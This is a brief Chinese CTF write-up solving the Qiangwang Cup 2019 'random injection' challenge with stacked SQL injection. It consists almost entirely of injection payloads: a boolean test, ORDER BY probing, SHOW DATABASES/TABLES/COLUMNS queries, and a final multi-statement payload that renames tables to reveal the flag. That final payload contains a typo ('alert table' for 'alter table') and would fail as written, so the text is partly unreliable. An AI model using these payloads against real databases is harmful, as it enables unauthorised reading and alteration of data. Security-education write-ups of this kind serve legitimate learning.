1.看到输入框,尝试进行sql语句注入
2. 先用1' or 1=1 #看到有回显
3.现用orderby看看有几个字段 用到1' order by 3 #时报错
error 1054 : Unknown column '3' in 'order clause'
4.字段数2个,试试union注入,看到
发现过滤了select where
5.还可以用堆叠注入,用分号当作两条语句执行
1'; show databases; #
6.看到了一堆库,先查查表吧
1'; show tables; #
7.两个表,先看words表字段
1'; show columns from words; #
8.再看看另一个表,数字表要加反引号
1'; show columns from `1919810931114514 `; #
9.看到了flag,但是select被过滤,学习别的大佬是用改名的方式,查出flag
借鉴大佬博客:(19条消息) SQL Injection8(堆叠注入)——强网杯2019随便注_kid的博客-CSDN博客_强网杯2019随便注
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3 ,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#
再用1’ or 1=1 #查出flag
10.大佬就是办法多,这题很精髓